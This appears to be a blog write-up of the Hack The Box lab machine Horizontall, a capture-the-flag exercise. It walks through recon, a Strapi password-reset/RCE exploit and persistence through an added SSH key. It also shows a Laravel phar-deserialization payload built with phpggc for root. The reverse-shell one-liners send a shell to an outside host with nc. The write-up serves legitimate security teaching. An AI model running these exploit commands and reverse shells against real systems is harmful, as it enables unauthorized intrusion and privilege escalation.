Home Github

HTB | Horizontall

1. Introduction

Hello and welcome to my write-up for Horizontall.
This was an easy box with a webserver running on port 80.
I do a couple of tricks like ssh tunneling, to exploit a service running locally on the machine.
But with that said, let's get hacking!

2. Recon

First things first, we'll run nmap to get a better image of the services running on the box.
After this we can do some web enumeration on the web server running on port 80.

2.1. Nmap

I split the scan up into two parts, as I initially wanted to go kinda stealthy on the machine.
This however went pretty quickly out the window.

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/horizontall ]
└─> $ nmap -p- 10.129.204.161 -oA nmap/syn_scan_all_ports                                          17:36
Starting Nmap 7.92 ( https://nmap.org ) at 2021-08-29 17:36 CEST
Nmap scan report for 10.129.204.161
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 16.66 seconds

After getting the open ports, I did a version scan and ran the default nmap scripts.

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/horizontall ]
└─> $ sudo nmap -sC -sV -p 22,80 -O -oA nmap/script_version 10.129.204.161                         17:38
[sudo] password for c3lphie:
Starting Nmap 7.92 ( https://nmap.org ) at 2021-08-29 17:39 CEST
Nmap scan report for 10.129.204.161
Host is up (0.030s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 5.0 - 5.3 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds

Here we get a hostname horizontall.htb, and the version of the web server.
nginx 1.14.0 which is a reverse proxy, this could mean that there might be more running on the server than first thought.

2.2. Web enumeration

Let's add the hostname to /etc/hosts, before we start exploring the website.

[root@c3lphie-laptop horizontall]# echo "10.129.204.161    horizontall.htb" >> /etc/hosts

2.2.1. Gobuster

Before actually looking at the site, I started gobuster:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/horizontall ]
└─> $ gobuster dir -u "http://horizontall.htb" -w $REPOS/SecLists/Discovery/Web-Content/raft-small-words.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/c3lphie/repositories/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/08/29 17:51:08 Starting gobuster in directory enumeration mode
===============================================================
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/.                    (Status: 301) [Size: 194] [--> http://horizontall.htb/./]
                                                                                 [[3~
===============================================================
2021/08/29 17:53:17 Finished
===============================================================

But as you can see from the output there isn't a lot to come after…

2.2.2. Zaproxy

I used zaproxy's HUD, which is firefox with some extra stuff for attacking web apps.
The site index, it is a pretty simple website for some new tech-startup.

2021-08-29_17-58-08_screenshot.png

There is even a contact form that doesn't work.

2021-08-29_17-58-57_screenshot.png

It has been created in vue.js, but googling around for vulnerabilties won't give us much unfortunately.

2021-08-29_18-12-54_screenshot.png

2.2.3. App.js

There is a subdomain leaked in the file app.js:

y = {
    name: "App",
    components: {
	Navbar: v,
	Home: w
    },
    data: function() {
	return {
	    reviews: []
	}
    },
    methods: {
	getReviews: function() {
	    var t = this;
	    r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
		return t.reviews = s.data
	    }))
	}
    }
},

Let's add this to /etc/hosts, and start poking a bit on that.

2.2.4. api-prod.horizontall.htb

2.2.4.1. Gobuster

Why don't we start off with gobuster on the new subdomain:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/horizontall ]
└─> $ gobuster dir -u "http://api-prod.horizontall.htb/" -w $REPOS/SecLists/Discovery/Web-Content/raft-small-words.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/c3lphie/repositories/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/08/29 19:13:40 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 200) [Size: 854]
/Admin                (Status: 200) [Size: 854]
/users                (Status: 403) [Size: 60]
/reviews              (Status: 200) [Size: 507]
/.                    (Status: 200) [Size: 413]
/ADMIN                (Status: 200) [Size: 854]
/Users                (Status: 403) [Size: 60]
/Reviews              (Status: 200) [Size: 507]

===============================================================
2021/08/29 19:16:05 Finished
===============================================================

Looks like we got some admin site, this could very well be our way in!

If we look at the headers in the HTTP response:

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 29 Aug 2021 17:15:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 413
Connection: keep-alive
Vary: Origin
Content-Security-Policy: img-src 'self' http:; block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Last-Modified: Wed, 02 Jun 2021 20:00:29 GMT
Cache-Control: max-age=60
X-Powered-By: Strapi <strapi.io>

We can see that this is running Strapi.
Inorder to get the version of Strapi, go to following endpoint:

/admin/init

This responds with the following JSON:

{
  "data": {
    "uuid": "a55da3bd-9693-4a08-9279-f9df57fd1817",
    "currentEnvironment": "development",
    "autoReload": false,
    "strapiVersion": "3.0.0-beta.17.4"
  }
}

If we duckduckgo this version with exploit, we should find the following link: https://www.exploit-db.com/exploits/50239

This python script should give us foothold and user flag!

3. Exploitation

3.1. Get user

Let's run the exploit script:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/horizontall ]
└─> $ /usr/bin/python script.py "http://api-prod.horizontall.htb"
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQxODQzNTQyLCJleHAiOjE2NDQ0MzU1NDJ9.QJOyBAyGH8OBqNekQ4nm4XnUQ7pb_QHBFdY5GuhdGSc


$> 

And we got a shell!
This shell was rather unstable so I opted for this reverse shell curtesy of pentestmonkey:

$> rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.47 4444 >/tmp/f

And now we got proper access:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/horizontall ]
└─> $ nc -lnvp 4444
Connection from 10.129.176.172:41956
/bin/sh: 0: can't access tty; job control turned off
$ whoami
strapi
$ 

So let's go find our first flag!

$ cd home
$ ls
developer
$ cd developer
$ ls
composer-setup.php
myproject
user.txt
$ cat user.txt
3018████████████████████████████

Looking around there are creds for the database in the database.json file in strapi's config folder.

$ cat database.json
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}

But this didn't give anything useful for escalating our privileges…

It was about this time I remembered this little trick for upgrading you're shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Now we are ready to root!

3.2. Priv esc

I wanted to run linPEAS.sh on the box, so I created a quick python web server and downloaded the script from there.

In linPEAS.sh output, there is something interesting under the active ports section:

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1779/node /usr/bin/
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 10.129.176.172:41986    10.10.17.47:4444        ESTABLISHED 22039/nc
tcp        0      0 127.0.0.1:54426         127.0.0.1:1337          TIME_WAIT   -
tcp        0    364 10.129.176.172:42832    10.10.17.47:1337        ESTABLISHED 22071/nc
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 10.129.176.172:35984    1.1.1.1:53              ESTABLISHED -
udp        0      0 10.129.176.172:45356    1.1.1.1:53              ESTABLISHED -
udp        0      0 10.129.176.172:50554    1.1.1.1:53              ESTABLISHED 22026/node
udp        0      0 10.129.176.172:44466    1.1.1.1:53              ESTABLISHED -
udp        0      0 10.129.176.172:60232    1.1.1.1:53              ESTABLISHED 24170/node
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -
udp        0      0 10.129.176.172:52307    1.1.1.1:53              ESTABLISHED 21997/node

There is in-fact a laravel service running on port 8000.

I used curl to findout the version number, didn't get a copy of the output…
It did however reveal that it is version 8 with PHP version 7.4.18

Laravel v8 (PHP v7.4.18)

Searching around a bit led me to this github repository:
https://github.com/ambionics/laravel-exploits

But instead of uploading and running it on the machine I decided to create a tunnel using SSH.
I should preface this by saying this part is completly by memory because I forgot to write it down…

I created an ssh key using:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/horizontall ]
└─> $ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/c3lphie/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:1TbsjKA+ZD2qnrItY1n9eXOhmtKqWBkxI/KIxSfH4KQ c3lphie@c3lphie-laptop
The key's randomart image is:
+---[RSA 3072]----+
|  o              |
| = o       o     |
|E * B   . . =    |
|.= = + o o = .   |
|o . ..+ S . o    |
|    .*.. .  .    |
|   oo +o . . .   |
|  *+ o..+.+ .    |
| .o**..ooo o     |
+----[SHA256]-----+

Then using the same webserver, as for linPEAS.sh, I uploaded id_rsa.pub.
Created the ~/.ssh/ folder in strapi's home folder, and ran:

cat id_rsa.pub > .ssh/authrized_keys

Now we can setup an ssh tunnel to the laravel service with the following command:

ssh -L 8000:127.0.0.1:8000 -i id_rsa strapi@horizontall.htb

I then tested to see if the exploit worked, this is done by generating the payload with:

php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id

Which when run with the exploit gives us this output:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/horizontall/www ]
└─> $ /usr/bin/python laravel.py http://127.0.0.1:8000 /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared

And we have root!
Now all we need to do is create a reverse shell!

php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.47 1337>/tmp/f"

Set up a nc listener:

nc -lnvp 1337

And then run the exploit and get the flag:

Connection from 10.129.176.172:43028
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# ls
favicon.ico
index.php
robots.txt
web.config
# cd
# ls
boot.sh
pid
restart.sh
root.txt
# cat root.txt
1588████████████████████████████
#

4. Final words

Thank you for taking some time out of your day to read this post.
If you enjoyed this post, feel free to join my Discord server to get notification whenever I post something and ask questions if there are any.